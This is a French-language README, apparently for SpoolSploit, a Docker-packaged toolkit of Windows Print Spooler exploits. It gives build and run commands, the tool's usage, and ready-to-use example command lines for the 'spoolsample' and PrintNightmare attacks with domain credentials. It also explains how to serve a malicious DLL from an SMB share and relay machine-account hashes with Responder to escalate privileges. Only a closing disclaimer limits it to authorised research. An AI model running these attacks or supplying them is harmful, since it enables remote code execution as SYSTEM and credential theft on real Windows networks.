
Une collection d'exploits du spouleur d'impression Windows conteneurisés avec d'autres utilitaires pour une exploitation pratique.
Une collection d'exploits du spouleur d'impression Windows conteneurisés avec d'autres utilitaires pour une exploitation pratique.
SpoolSploit est une collection d'exploits du spouleur d'impression Windows conteneurisés avec d'autres utilitaires pour une exploitation pratique. Deux méthodes très efficaces seraient le relais des identifiants de compte machine pour escalader les privilèges et exécuter des DLL malveillantes sur les terminaux avec un accès système complet.

À la date de publication, le conteneur Docker SpoolSploit a été testé avec succès sur les dernières versions de MacOS, Ubuntu Linux et Windows 10.
Bien que ce ne soit pas obligatoire, si vous souhaitez héberger des DLL malveillantes ou mener des attaques de relais d'identifiants, le tout dans le conteneur SpoolSploit, vous devez vous assurer que le port 445 n'est pas utilisé sur l'hôte exécutant Docker. Cela est plus fréquent lors de l'exécution de ce conteneur sur un hôte Windows, car il utilise le port 445 par défaut. Si désactiver le port 445 sur votre hôte n'est pas pratique, ce n'est pas grave ! Vous pouvez simplement exécuter le conteneur Docker dans une machine virtuelle dont l'adaptateur réseau est configuré en mode pont. Cela permettra de servir des DLL malveillantes et de relayer les identifiants. Si vous souhaitez uniquement servir des DLL malveillantes, vous pouvez simplement héberger les DLL sur un partage à accès anonyme sur votre système d'exploitation hôte ou sur un partage de serveur compromis.
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Le conteneur Docker SpoolSploit inclut Responder pour relayer les hachages de comptes machine obtenus lors de l'exécution de l'attaque spoolsample dans SpoolSploit. Comme plusieurs excellents articles détaillent le processus de relais des identifiants de compte machine privilégiés pour l'escalade de privilèges, je n'entrerai pas dans ces détails ici.
Le conteneur SpoolSploit inclut un serveur SMB implémenté via Impacket. Ce serveur peut être utilisé pour héberger des DLL malveillantes lors de l'exécution de l'attaque printnightmare dans SpoolSploit. Les paramètres par défaut du serveur SMB fonctionnent, mais si vous souhaitez les personnaliser, vous pouvez modifier le fichier de configuration situé dans /home/dlogmas/smbserver/smb-v1.conf.
La seule chose à faire est de copier votre DLL dans le dossier de partage du serveur SMB dans le conteneur SpoolSploit. Le chemin du partage dans le conteneur est /home/dlogmas/smbserver/share/. Les commandes suivantes montrent comment téléverser une DLL dans le conteneur SpoolSploit et la rendre accessible au serveur SMB.
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
Ce code de preuve de concept a été créé pour la recherche académique et n'est pas destiné à être utilisé contre des systèmes sauf autorisation explicite. Le code est fourni tel quel, sans aucune garantie ni promesse quant à son exécution. Je ne suis pas responsable de son utilisation abusive.